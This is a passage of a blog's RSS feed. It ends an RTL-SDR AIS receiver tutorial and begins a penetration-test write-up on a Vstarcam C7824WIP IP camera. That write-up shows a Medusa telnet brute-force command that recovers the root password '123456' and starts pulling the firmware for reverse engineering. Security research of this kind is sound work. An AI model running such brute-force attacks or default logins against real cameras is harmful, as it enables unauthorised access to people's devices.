&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Found Rafael Micro R820T tuner
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Exact sample rate is: 270833.002142 Hz
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[R82XX] PLL not locked!
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Setting gain: 49.6 dB
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;kal: Calculating clock frequency offset.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Using GSM-900 channel 5 (936.0MHz)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;average [min, max] (range, stddev)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;- 11.901kHz [-11934, -11871] (63, 18.615683)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;overruns: 0
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;not found: 0
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;average absolute error: 35.715 ppm
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Our average absolute error is 35.715 ppm !&lt;/p&gt;
&lt;h2 id="rtl-ais-software"&gt;RTL-AIS Software
&lt;/h2&gt;&lt;p&gt;Go back to your home folder :&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cd ~
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Clone software from Github :&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;git clone https://github.com/dgiardini/rtl-ais
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Move to folder, compile and install :&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cd rtl-ais
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;make
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Then we can run the software :&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;./rtl_ais -p 35 -n -h 192.168.1.15
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;-p 35 : Software deviation in PPM found during the previous calibration. -n : Log AIS messages to console. -h : Send AIS data to the mentioned IP. Here, our desktop computer with OpenCPN.&lt;/p&gt;
&lt;p&gt;Output :&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Edge tuning disabled.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;DC filter enabled.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;RTL AGC disabled.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Internal AIS decoder enabled.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Buffer size: 163.84 mS
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Downsample factor: 64
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Low pass: 25000 Hz
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Output: 48000 Hz
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Found 1 device(s):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;0: Realtek, RTL2838UHIDIR, SN: 00000001
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Using device 0: Generic RTL2832U OEM
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Found Rafael Micro R820T tuner
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Log NMEA sentences to console ON
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;AIS data will be sent to 192.168.1.15 port 10110
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Tuner gain set to automatic.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Tuner error set to 35 ppm.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Tuned to 162000000 Hz.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Sampling at 1600000 S/s.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;!AIVDM,1,1,,B,6&amp;gt;jCJckfJjOt&amp;gt;db70104@00,0*71
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;!AIVDM,1,1,,B,E&amp;gt;jCJcl32bh87ab@87a:1RP0000?rnLv=Q?ih50```b&amp;gt;:0,0*6A
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;!AIVDM,1,1,,B,6&amp;gt;jCJckfJjOt&amp;gt;db7@104@00,0*01
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;!AIVDM,1,1,,A,6&amp;gt;jCJckfJjOt&amp;gt;db70104@00,0*72
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;!AIVDM,1,1,,B,E&amp;gt;jCJcl32bh87ab@87a:1RP0000?rnLn=Q?j@50```b&amp;gt;:0,0*59
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;!AIVDM,1,1,,B,6&amp;gt;jCJckfJjOt&amp;gt;db70104@00,0*71
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;!AIVDM,1,1,,A,6&amp;gt;jCJckfJjOt&amp;gt;db5P104@00,0*10
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;!AIVDM,1,1,,B,E&amp;gt;jCJcl32bh87ab@87a:1RP0000?rnM4=Q?ih50```b&amp;gt;:0,0*29
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;!AIVDM,1,1,,B,E&amp;gt;jCJcl32bh87ab@87a:1RP0000?rnLv=Q?gh50```b&amp;gt;:0,0*64
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;!AIVDM,1,1,,B,E&amp;gt;jCJcl32bh87ab@87a:1RP0000?rnLm=Q?k050```b&amp;gt;:0,0*2B
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;!AIVDM,1,1,,B,6&amp;gt;jCJckfJjOt&amp;gt;db70104@00,0*71
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;!AIVDM,1,1,,A,33IWVk0Ohvwma3BK1nlAIQ@L01vP,0*64
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;!AIVDM,1,1,,B,33IWVk0Ohrwma5vK1o2QRQFV00qh,0*27
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;!AIVDM,1,1,,A,13IWVk0Ohrwma74K1o;iS1Hd0L10,0*6E
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;!AIVDM,1,1,,B,33IWVk000bwmabjK1pdC8jBj01r0,0*33
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;!AIVDM,1,1,,B,E&amp;gt;jCJcl32bh87ab@87a:1RP0000?rnLk=Q?ih50```b&amp;gt;:0,0*77
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;!AIVDM,1,1,,A,13IWVk000IwmbLnK1qS8;h6d08&amp;lt;k,0*1A !AIVDM,1,1,,B,6&amp;gt;jCJckfJjOt&amp;gt;db6h104@00,0*28
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;!AIVDM,1,1,,B,33IWVk0Oh5wmbIJK1qALP@l:01o@,0*31
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;!AIVDM,1,1,,A,33IWVk0Oh7wmbI8K1qBdEPnB00pP,0*18
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;!AIVDM,1,1,,B,13IWVk0Oh6wmbHVK1qCdQhpJ087:,0*69
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;!AIVDM,1,1,,B,33IWVk0Oh7wmbHHK1qEdDPpT013@,0*36
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;!AIVDM,1,1,,A,13IWVk0Oh7wmbH0K1qFt00rd05C0,0*7E
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;!AIVDM,1,1,,A,33IWVk0Oh8wmbGJK1qHch0rr00ih,0*26
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;!AIVDM,1,1,,B,13IWVk1009wmbG:K1qJ;g0s005C0,0*11
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;!AIVDM,1,1,,A,13IWVk1008wmbFRK1qLKl@wB0&amp;lt;10,0*7A
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;!AIVDM,1,1,,B,13IWVk1Oh6wmbDPK1qTu0Q&amp;lt;H05C4,0*05 !AIVDM,1,1,,A,13IWVk1Oh5wmbDfK1qW=O1@d00Rp,0*67 !AIVDM,1,1,,A,6&amp;gt;jCJckfJjOt&amp;gt;db5P104@00,0*10
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;!AIVDM,1,1,,B,13IWVk1Oh4wmbCnK1qadqQE000R@,0*3A
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;!AIVDM,1,1,,A,13IWVk1Oh3wmbCrK1qcM0iGB08Gw,0*2A
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;!AIVDM,1,1,,B,13IWVk1Oh3wmbD6K1qeP@1KV05C4,0*0B
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;!AIVDM,1,1,,A,13IWVk1003wmbChK1qh=&amp;lt;AN40&amp;lt;0w,0*44 !AIVDM,1,1,,B,33IWVk1003wmbC@K1qje;QNH0I70,0*69 !AIVDM,1,1,,B,E&amp;gt;jCJcl32bh87ab@87a:1RP0000?rnLq=Q?gh50```b&amp;gt;:0,0*63
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;!AIVDM,1,1,,A,33IWVk1003wmbCFK1qlej1Rd0AfJ,0*48
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;!AIVDM,1,1,,A,13IWVk1003wmbCFK1qp@:1WB0000,0*5D
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;!AIVDM,1,1,,A,13IWVk1Oh1wmbCJK1qru21f40000,0*0C
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;!AIVDM,1,1,,B,33IWVk1001wmbBLK1qsnP1v80Dhr,0*27
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;!AIVDM,1,1,,A,33IWVk1000wmbCDK1qeoHAp20E&amp;lt;r,0*0A !AIVDM,1,1,,B,E&amp;gt;jCJcl32bh87ab@87a:1RP0000?rnLq=Q?j@50```b&amp;gt;:0,0*46
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;!AIVDM,1,1,,B,6&amp;gt;jCJckfJjOt&amp;gt;db70104@00,0*71
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;!AIVDM,1,1,,A,E&amp;gt;jCJcl32bh87ab@87a:1RP0000?rnLi=Q?j@50```b&amp;gt;:0,0*5D
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;!AIVDM,1,1,,A,6&amp;gt;jCJckfJjOt&amp;gt;db70104@00,0*72
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;!AIVDM,1,1,,B,6&amp;gt;jCJckfJjOt&amp;gt;db5h104@00,0*2B
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This messages could be decoded online, for example here : &lt;a class="link" href="http://ais.tbsalling.dk/" target="_blank" rel="noopener"
 &gt;http://ais.tbsalling.dk/&lt;/a&gt;&lt;/p&gt;
&lt;h2 id="opencpn-client"&gt;OpenCPN client
&lt;/h2&gt;&lt;p&gt;Here is my configuration:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;192.168.1.12 : Raspberry Pi Zero with RTL-SDR dongle&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;192.168.1.15 : Laptop with Ubuntu desktop and OpenCPN software&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Desktop OpenCPN configuration :&lt;/p&gt;
&lt;p&gt;&lt;img class="gallery-image" data-flex-basis="197px" data-flex-grow="82" height="868" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://www.rfontenay.fr/posts/ais-receiver-on-a-raspberry-pi-with-rtl-sdr/opencpn-ais-configuration.png" width="714"&gt;&lt;/p&gt;
&lt;p&gt;Using the debug window, we can check that AIS messages are well received by OpenCPN :&lt;/p&gt;
&lt;figure&gt;
&lt;p&gt;&lt;img class="gallery-image" data-flex-basis="449px" data-flex-grow="187" height="547" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://www.rfontenay.fr/posts/ais-receiver-on-a-raspberry-pi-with-rtl-sdr/opencpn-client.png" srcset="https://www.rfontenay.fr/posts/ais-receiver-on-a-raspberry-pi-with-rtl-sdr/opencpn-client_hu_f3e4796bc67b1308.png 800w, https://www.rfontenay.fr/posts/ais-receiver-on-a-raspberry-pi-with-rtl-sdr/opencpn-client.png 1024w" width="1024"&gt;&lt;/p&gt;
&lt;figcaption&gt;
&lt;p&gt;OpenCPN client check received messages&lt;/p&gt;
&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;And AIS targets are shown on the map :&lt;/p&gt;
&lt;figure&gt;
&lt;p&gt;&lt;img class="gallery-image" data-flex-basis="423px" data-flex-grow="176" height="1050" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://www.rfontenay.fr/posts/ais-receiver-on-a-raspberry-pi-with-rtl-sdr/opencpn.png" srcset="https://www.rfontenay.fr/posts/ais-receiver-on-a-raspberry-pi-with-rtl-sdr/opencpn_hu_59771d6251ee766d.png 800w, https://www.rfontenay.fr/posts/ais-receiver-on-a-raspberry-pi-with-rtl-sdr/opencpn_hu_911b8ee896b7b4fe.png 1600w, https://www.rfontenay.fr/posts/ais-receiver-on-a-raspberry-pi-with-rtl-sdr/opencpn.png 1853w" width="1853"&gt;&lt;/p&gt;
&lt;figcaption&gt;
&lt;p&gt;AIS targets on OpenCPN map&lt;/p&gt;
&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;You&amp;rsquo;re done : AIS receiver on a Raspberry Pi with RTL-SDR.&lt;/p&gt;</description></item><item><title>C7824WIP Security Review : East Pen test</title><link>https://www.rfontenay.fr/posts/c7824wip-security-review-easy-hacking/</link><pubDate>Tue, 16 Jan 2024 00:00:00 +0000</pubDate><guid>https://www.rfontenay.fr/posts/c7824wip-security-review-easy-hacking/</guid><description>&lt;img src="https://www.rfontenay.fr/posts/c7824wip-security-review-easy-hacking/webcam-hacked.png" alt="Featured image of post C7824WIP Security Review : East Pen test" /&gt;&lt;p&gt;C7824WIP Security Review : East Pen test with the full process from initial trials to root access.&lt;/p&gt;
&lt;h2 id="security-vulnerabilities"&gt;Security vulnerabilities
&lt;/h2&gt;&lt;p&gt;Final achievements :&lt;br&gt;
- Remotely take control of the camera (telnet)&lt;br&gt;
- Find the web UI password&lt;/p&gt;
&lt;p&gt;For this, we used the following methods :&lt;br&gt;
- Bruteforce : success&lt;br&gt;
- Firmware reverse engineering : success&lt;br&gt;
- Form injection : success&lt;/p&gt;
&lt;h2 id="penetration-test"&gt;Penetration test
&lt;/h2&gt;&lt;h3 id="method-1--bruteforce"&gt;Method 1 : Bruteforce
&lt;/h3&gt;&lt;p&gt;We&amp;rsquo;re able to crack the password in a few seconds using Medusa. Hydra fails to crack the password.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;medusa -u root -P passwords.txt -h 192.168.1.16 -M telnet
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Medusa v2.1.1 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks &amp;lt;jmk@foofus.net&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ACCOUNT CHECK: [telnet] Host: 192.168.1.16 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: 111111 (1 of 370 complete)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ACCOUNT CHECK: [telnet] Host: 192.168.1.16 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: 11111111 (2 of 370 complete)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ACCOUNT CHECK: [telnet] Host: 192.168.1.16 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: 112233 (3 of 370 complete)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ACCOUNT CHECK: [telnet] Host: 192.168.1.16 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: 121212 (4 of 370 complete)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ACCOUNT CHECK: [telnet] Host: 192.168.1.16 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: 123123 (5 of 370 complete)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ACCOUNT CHECK: [telnet] Host: 192.168.1.16 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: 123456 (6 of 370 complete)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ACCOUNT FOUND: [telnet] Host: 192.168.1.16 User: root Password: 123456 [SUCCESS]
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;So the root password : 123456.&lt;/p&gt;
&lt;h3 id="method-2--reverse-engineering"&gt;Method 2 : Reverse engineering
&lt;/h3&gt;&lt;h4 id="tools"&gt;Tools
&lt;/h4&gt;&lt;h5 id="binwalk"&gt;Binwalk
&lt;/h5&gt;&lt;p&gt;Binwalk is a firmware analysis tool designed for analyzing, reverse engineering and extracting data contained in firmware images.&lt;br&gt;
The last stable version of Binwalk (2.1.1) was not extracting the firmware correctly, so I had to install the 2.0.0.&lt;/p&gt;
&lt;p&gt;Install Binwalk 2.0.0 :&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;wget https://github.com/devttys0/binwalk/archive/v2.0.0.zip
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;unzip v2.0.0.zip
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cd binwalk-2.0.0
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/deps.sh
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;./configure
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;make
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;make install	
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id="firmware-reverse-engineering"&gt;Firmware reverse engineering
&lt;/h4&gt;&lt;h5 id="firmware-servers-and-download-link"&gt;Firmware servers and download link
&lt;/h5&gt;&lt;p&gt;Sniffing the traffic between the Vstarcam firmware upgrade software and Internet allows us to easily identify the servers and the protocol used to retrieve and upgrade camera firmware.&lt;/p&gt;
&lt;p&gt;&lt;img class="gallery-image" data-flex-basis="3489px" data-flex-grow="1454" height="87" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://www.rfontenay.fr/posts/c7824wip-security-review-easy-hacking/sniffing-result.png" srcset="https://www.rfontenay.fr/posts/c7824wip-security-review-easy-hacking/sniffing-result_hu_a5ba747dde493005.png 800w, https://www.rfontenay.fr/posts/c7824wip-security-review-easy-hacking/sniffing-result.png 1265w" width="1265"&gt;&lt;/p&gt;
&lt;p&gt;Remote file : http://45.63.8.70/FM/system/firmware.txt So we can download our firmware (45.63.8.70) using the following link : http://45.63.8.70/FM/system/CH-sys-48.53.64.67.zip&lt;/p&gt;
&lt;h5 id="firmware-download-and-extraction"&gt;Firmware download and extraction
&lt;/h5&gt;&lt;p&gt;Create a working folder, download and extract the zipped firmware :&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;mkdir firmware
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cd firmware
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;wget http://45.63.8.70/FM/system/CH-sys-48.53.64.67.zip
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;unzip CH-sys-48.53.64.67.zip	
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Binary header analysis :&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;head -n1 CH-sys-48.53.64.67.bin | hexdump -C
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;00000000 77 77 77 2e 6f 62 6a 65 63 74 2d 63 61 6d 65 72 |www.object-camer|
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;00000010 61 2e 63 6f 6d 2e 62 79 2e 68 6f 6e 67 7a 78 2e |a.com.by.hongzx.|
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;00000020 73 79 73 74 65 6d 2f 73 79 73 74 65 6d 2f 6c 69 |system/system/li|
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;00000030 62 2f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |b/..............|
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;00000040 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;*
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;00000060 6c 69 62 73 6e 73 5f 67 63 31 30 30 34 2e 73 6f |libsns_gc1004.so|
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;00000070 2e 7a 69 70 00 00 00 00 00 00 00 00 00 00 00 00 |.zip............|
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;00000080 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;*
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;000000a0 e3 23 00 00 43 40 35 30 00 00 00 00 50 4b 03 04 |.#..C@50....PK..|
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;000000b0 14 00 00 00 08 00 fa 8b 5d 47 89 42 30 43 09 23 |........]G.B0C.#|
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;000000c0 00 00 93 4a 00 00 22 00 1c 00 73 79 73 74 65 6d |...J..&amp;#34;...system|
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;000000d0 2f 73 79 73 74 65 6d 2f 6c 69 62 2f 6c 69 62 73 |/system/lib/libs|
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;000000e0 6e 73 5f 67 63 31 30 30 34 2e 73 6f 55 54 09 00 |ns_gc1004.soUT..|
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;000000f0 03 88 e7 31 56 88 e7 31 56 75 78 0b 00 01 04 ed |...1V..1Vux.....|
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;00000100 03 00 00 04 ed 03 00 00 e5 7c 0b 78 53 55 d6 f6 |.........|.xSU..|
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;00000110 3e b9 b4 69 9a cb 69 cf 29 96 8b 92 0a |&amp;gt;..i..i.)....|
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We should be able to use Binwalk to extract the firmware :&lt;/p&gt;
